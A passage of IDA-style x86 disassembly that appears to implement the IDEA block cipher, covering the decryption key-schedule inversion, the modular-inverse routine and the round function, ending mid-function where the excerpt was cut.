; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49329B	proc near		; CODE XREF: _4:004931EAp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= word ptr -7Ch
var_78		= dword	ptr -78h
var_74		= word ptr -74h
var_70		= word ptr -70h
var_6C		= word ptr -6Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	esi
		push	edi
		mov	[ebp+var_80], ecx
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_84], ax
		push	[ebp+var_84]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_88], ax
		push	[ebp+var_88]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		and	[ebp+var_78], 0
		jmp	short loc_493372
; ---------------------------------------------------------------------------

loc_49336B:				; CODE XREF: sub_49329B+1D7j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax

loc_493372:				; CODE XREF: sub_49329B+CEj
		cmp	[ebp+var_78], 7
		jge	loc_493477
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_8C], ax
		push	[ebp+var_8C]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_90], ax
		push	[ebp+var_90]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		jmp	loc_49336B
; ---------------------------------------------------------------------------

loc_493477:				; CODE XREF: sub_49329B+DBj
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_94], ax
		push	[ebp+var_94]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_98], ax
		push	[ebp+var_98]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_49359C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		push	1Ah
		pop	ecx
		lea	esi, [ebp+var_6C]
		mov	edi, [ebp+arg_4]
		rep movsd
		and	[ebp+var_78], 0
		jmp	short loc_493585
; ---------------------------------------------------------------------------

loc_49357E:				; CODE XREF: sub_49329B+2F9j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax

loc_493585:				; CODE XREF: sub_49329B+2E1j
		cmp	[ebp+var_78], 34h
		jge	short loc_493596
		mov	eax, [ebp+var_78]
		and	[ebp+eax*2+var_6C], 0
		jmp	short loc_49357E
; ---------------------------------------------------------------------------

loc_493596:				; CODE XREF: sub_49329B+2EEj
		pop	edi
		pop	esi
		leave
		retn	8
sub_49329B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49359C	proc near		; CODE XREF: sub_49329B+32p
					; sub_49329B+81p ...

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jg	short loc_4935B7
		mov	ax, [ebp+arg_0]
		jmp	locret_49368F
; ---------------------------------------------------------------------------

loc_4935B7:				; CODE XREF: sub_49359C+10j
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_C], ax
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_4935F7
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx
		jmp	locret_49368F
; ---------------------------------------------------------------------------

loc_4935F7:				; CODE XREF: sub_49359C+42j
		mov	[ebp+var_8], 1

loc_4935FD:				; CODE XREF: sub_49359C+DFj
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+arg_0], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_C]
		imul	eax, ecx
		mov	cx, [ebp+var_8]
		add	cx, ax
		mov	[ebp+var_8], cx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jnz	short loc_493640
		mov	ax, [ebp+var_8]
		jmp	short locret_49368F
; ---------------------------------------------------------------------------

loc_493640:				; CODE XREF: sub_49359C+9Cj
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_8]
		imul	eax, ecx
		mov	cx, [ebp+var_C]
		add	cx, ax
		mov	[ebp+var_C], cx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_4935FD
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx

locret_49368F:				; CODE XREF: sub_49359C+16j
					; sub_49359C+56j ...
		leave
		retn	4
sub_49359C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_4936AF
; ---------------------------------------------------------------------------

loc_4936A8:				; CODE XREF: _4:004936D1j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax

loc_4936AF:				; CODE XREF: _4:004936A6j
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_4936D3
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_4936D7
		mov	eax, [ebp-4]
		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_4936A8
; ---------------------------------------------------------------------------

locret_4936D3:				; CODE XREF: _4:004936B5j
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4936D7	proc near		; CODE XREF: _4:004936C3p _4:00493D36p

var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_28		= word ptr -28h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_4], 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_2C], ax

loc_49377E:				; CODE XREF: sub_4936D7+41Ej
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_49381D
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_4937FE
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax
		jmp	short loc_493813
; ---------------------------------------------------------------------------

loc_4937FE:				; CODE XREF: sub_4936D7+D8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax

loc_493813:				; CODE XREF: sub_4936D7+125j
		mov	ax, [ebp+var_32]
		mov	[ebp+var_34], ax
		jmp	short loc_493832
; ---------------------------------------------------------------------------

loc_49381D:				; CODE XREF: sub_4936D7+BFj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_34], ax

loc_493832:				; CODE XREF: sub_4936D7+144j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4938FD
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_4938DE
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax
		jmp	short loc_4938F3
; ---------------------------------------------------------------------------

loc_4938DE:				; CODE XREF: sub_4936D7+1B8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax

loc_4938F3:				; CODE XREF: sub_4936D7+205j
		mov	ax, [ebp+var_36]
		mov	[ebp+var_38], ax
		jmp	short loc_493912
; ---------------------------------------------------------------------------

loc_4938FD:				; CODE XREF: sub_4936D7+19Fj
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_38], ax

loc_493912:				; CODE XREF: sub_4936D7+224j
		mov	ax, [ebp+var_28]
		mov	[ebp+var_14], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_1C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4939C5
		movzx	eax, [ebp+var_28]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_4939A6
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_28]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax
		jmp	short loc_4939BB
; ---------------------------------------------------------------------------

loc_4939A6:				; CODE XREF: sub_4936D7+280j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax

loc_4939BB:				; CODE XREF: sub_4936D7+2CDj
		mov	ax, [ebp+var_3A]
		mov	[ebp+var_3C], ax
		jmp	short loc_4939DA
; ---------------------------------------------------------------------------

loc_4939C5:				; CODE XREF: sub_4936D7+267j
		movzx	eax, [ebp+var_28]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3C], ax

loc_4939DA:				; CODE XREF: sub_4936D7+2ECj
		mov	ax, [ebp+var_20]
		mov	[ebp+var_C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_2C]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_20]
		add	ax, [ebp+var_28]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_493A99
		movzx	eax, [ebp+var_20]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jz	short loc_493A7A
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_20]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax
		jmp	short loc_493A8F
; ---------------------------------------------------------------------------

loc_493A7A:				; CODE XREF: sub_4936D7+354j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax

loc_493A8F:				; CODE XREF: sub_4936D7+3A1j
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_40], ax
		jmp	short loc_493AAE
; ---------------------------------------------------------------------------

loc_493A99:				; CODE XREF: sub_4936D7+33Bj
		movzx	eax, [ebp+var_20]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_40], ax

loc_493AAE:				; CODE XREF: sub_4936D7+3C0j
		mov	ax, [ebp+var_28]
		add	ax, [ebp+var_20]
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_1C]
		xor	ax, [ebp+var_20]
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_2C]
		xor	ax, [ebp+var_28]
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_14]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	loc_49377E
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_493B9A
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_493B7B
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax
		jmp	short loc_493B90
; ---------------------------------------------------------------------------

loc_493B7B:				; CODE XREF: sub_4936D7+455j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax

loc_493B90:				; CODE XREF: sub_4936D7+4A2j
		mov	ax, [ebp+var_42]
		mov	[ebp+var_44], ax
		jmp	short loc_493BAF
; ---------------------------------------------------------------------------

loc_493B9A:				; CODE XREF: sub_4936D7+43Cj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_44], ax

loc_493BAF:				; CODE XREF: sub_4936D7+4C1j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	loc_493C72
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_493C53
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax
		jmp	short loc_493C68
; ---------------------------------------------------------------------------

loc_493C53:				; CODE XREF: sub_4936D7+52Dj
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax

loc_493C68:				; CODE XREF: sub_4936D7+57Aj
		mov	ax, [ebp+var_46]
		mov	[ebp+var_48], ax
		jmp	short loc_493C87
; ---------------------------------------------------------------------------

loc_493C72:				; CODE XREF: sub_4936D7+514j
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_48], ax

loc_493C87:				; CODE XREF: sub_4936D7+599j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		pop	ebx
		leave
		retn	0Ch
sub_4936D7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_493D1E
; ---------------------------------------------------------------------------

loc_493D17:				; CODE XREF: _4:00493D44j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax

loc_493D1E:				; CODE XREF: _4:00493D15j
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_493D46
		mov	eax, [ebp-0Ch]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_4936D7
		mov	eax, [ebp-4]
